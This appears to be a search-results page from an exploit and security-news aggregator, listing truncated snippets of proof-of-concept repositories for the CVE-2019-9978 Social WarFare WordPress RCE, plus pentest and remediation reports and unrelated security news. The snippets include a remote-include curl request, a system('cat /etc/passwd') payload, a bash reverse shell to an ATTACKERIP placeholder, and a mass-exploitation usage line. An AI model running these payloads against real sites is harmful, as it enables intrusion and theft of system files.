325 matches found
CVE-2019-9978_Exploit
CVE-2019-9978 漏洞利用 Social WarFare Plugin =3.5.2 远程代码执行...
CVE-2019-9978
CVE-2019-9978 CVE-2019-9978 - PoC Social WarFare 插件中的RCE（版本system'cat /etc/passwd' 将其保存为文件名 payload.txt 并上传到服务器。URI应类似于 https://yoursite.com/payload.txt。最后，提供你的 --target 和 --payload-uri 选项： root@kitploit: $ python cve-2019-9978.py --target http://vulntarget.com \ --payload-uri...
CVE-2019-9978
CVE-2019-9978 - Social Warfare Wordpress 插件 RCE 无需任何预认证即可在 Social Warfare Wordpress 插件上实现 RCE 概念验证 root@kitploit: curl http://127.0.0.1/wp-admin/admin-post.php?rce=id&swpdebug=loadoptions&swpurl=http://172.18.0.1:1337/exploit.php 漏洞代码 ： 修复：...
CVE-2019-9978
CVE-2019-9978 Vulnerabilidad RCE en el plugin Social Warfare de WordPress 3.5.3 🐞 Simulación mínima del plugin vulnerable y su explotación 🥰 Instalación del plugin vulnerable Instalar dependencias: root@kitploit: docker-compose build Iniciar los contenedores del servidor vulnerable y atacante...
CVE-2019-9978
CVE-2019-9978 - Social Warfare Wordpress 插件 RCE 3.5.3 针对 Wordpress Social Warfare 插件 3.5.3 之前版本的远程代码执行漏洞。本 PoC 无需运行额外的 HTTP 服务器。只需传入您的本地 IP 和所需端口，漏洞利用代码将自行创建一个服务器线程。 Usage root@kitploit: usage: CVE-2019-9978.py -h -t TARGET -l LHOST -p LPORT -c COMMAND options: -h, --help show this help message a...
CVE-2019-9978
CVE-2019-9978 - Social Warfare WordPress 插件 RCE system'cat /etc/passwd' ✅ 第 2 步 – 启动 Python HTTP 服务器 使用 Python 提供你的 payload 服务： root@kitploit: python3 -m http.server 8000 这将使你的 payload.txt 可通过以下地址访问： root@kitploit: http://:8000/payload.txt ✅ 第 3 步 – 运行利用脚本 root@kitploit: python3 CVE-2019-9978.py...
MegaQuagga_Pentesting_Report
MegaQuagga Pentesting 报告 本仓库包含针对 WordPress 环境执行的完整 Web 应用程序渗透测试。评估内容包括漏洞发现、利用、后渗透以及真实世界攻击影响文档。 🔍 项目概述 目标：运行易受攻击的 Social Warfare 插件的 WordPress 环境 利用的 CVE：CVE-2019-9978 攻击类型：未授权远程代码执行（RCE） 使用工具：Burp Suite、Metasploit、Netcat、Linux、WordPress 利用工具 🛠 主要成果 识别并利用了一个关键的 RCE 漏洞 执行了反向 Shell 并升级为 Meterpreter ...
CVE-2019-9978-RCE-PoC
CVE-2019-9978 RCE PoC – Exploit del plugin Social Warfare de WordPress De Inclusión Remota de Archivos RFI no autenticada a Ejecución Remota de Código RCE 📌 Descripción Este repositorio contiene una Prueba de Concepto PoC basada en Python que demuestra la explotación de CVE-2019-9978 , una...
CVE-2019-9978-Social-Warfare-WordPress-RCE
🚀 CVE-2019-9978 – Social Warfare WordPress插件远程代码执行漏洞 ⚠️ 免责声明： 本仓库仅用于教育和授权的安全测试 。请仅在你拥有或已获得明确书面授权的系统上使用。未经授权的访问是违法的。 📋 概述...
CVE-2019-9978
Social Warfare 插件 WordPress 3.5.2 远程代码执行 WordPress Social Warfare 远程代码执行（自动上传 Shell） 日期：2019年3月 下载链接：https://wordpress.org/plugins/social-warfare/ 参考：https://wpvulndb.com/vulnerabilities/9259 版本： CVE：2019-9978 用法： python script.py list-of-sites.txt...
CVE-2019-9978-Social-Warfare-WordPress-Plugin-RCE
CVE-2019-9978 - Social Warfare WordPress 插件远程代码执行 本仓库包含一个针对 CVE-2019-9978 的有效 Python 利用脚本，该漏洞是 WordPress 的 Social Warfare 插件（版本 system"bash -c \"bash -i & /dev/tcp/ATTACKERIP/LISTENPORT 0&1\""' with openPAYLOADFILE, "w" as f: f.writepayload printf"+ 载荷已写入 PAYLOADFILE" def starthttpserver: """通过...
Vuln_Remediation_MegaQuagga
VulnRemediationMegaQuagga MegaQuagga Publishing的修复报告，通过渐进式防御分层验证了对CVE-2019-9979的缓解。文档记录了反向代理部署、ModSecurity WAF部署、Graylog SIEM集成以及SSL/TLS强制实施，并使用多阶段Wireshark PCAP分析覆盖pfSense WAN和LAN接口。 漏洞修复 — MegaQuagga修复报告 分析师： Samuel Weiss 组织： 0x2A Security 版本： 1.1（2026年4月27日） 客户： MegaQuagga Publishing 分类： 机密 概述...
CVE-2019-9978
CVE-2019-9978 – 概念验证 PoC CVE-2019-9978 漏洞的功能性 PoC，影响插件 Social Warfare = 3.5.2，允许在 WordPress 上执行远程代码执行 RCE 。 📌 描述 此漏洞利用利用参数 swpdebug=loadoptions 强制加载 远程有效载荷，允许在目标服务器上执行命令 并获取 反向 shell 。 ⚠️ 仅限教育目的和授权环境使用 。 🧰 要求 Python 3 存在漏洞的 WordPress，使用 Social Warfare = 3.5.2 活跃的监听器（例如 nc） php-reverse-shell.php...
Trump Memo Paves Way for U.S. Firms to Hack and Disrupt Foreign Crime Groups
A new White House memo signed by U.S. President Donald Trump has instructed the National Coordination Center NCC to establish a program that would allow private sector companies to take advantage of their "innovative capabilities" to break into foreign Transnational Criminal Organizations TCOs an...
Livestream Replay: The War Machine
A panel of WIRED experts dissected the defense tech industry’s impact on modern warfare...
GPS Attacks Near Iran Are Wreaking Havoc on Delivery and Mapping Apps
Delivery apps are glitching and navigation routes are changing abruptly thanks to electronic warfare disrupting the satellite signals that power everything from missiles to your ride home...
Exploit for Cross-site Scripting in Warfareplugins Social_Warfare
CVE-2...
CVE-2019-20893
An issue was discovered in Activision Infinity Ward Call of Duty Modern Warfare 2 through 2019-12-11. PartyHostHandleJoinPartyRequest has a buffer overflow vulnerability and can be exploited by using a crafted joinParty packet. This can be utilized to conduct arbitrary code execution on a victim'...
CVE-2023-4842
The Social Sharing Plugin - Social Warfare plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'socialwarfare' shortcode in versions up to, and including, 4.4.3 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for...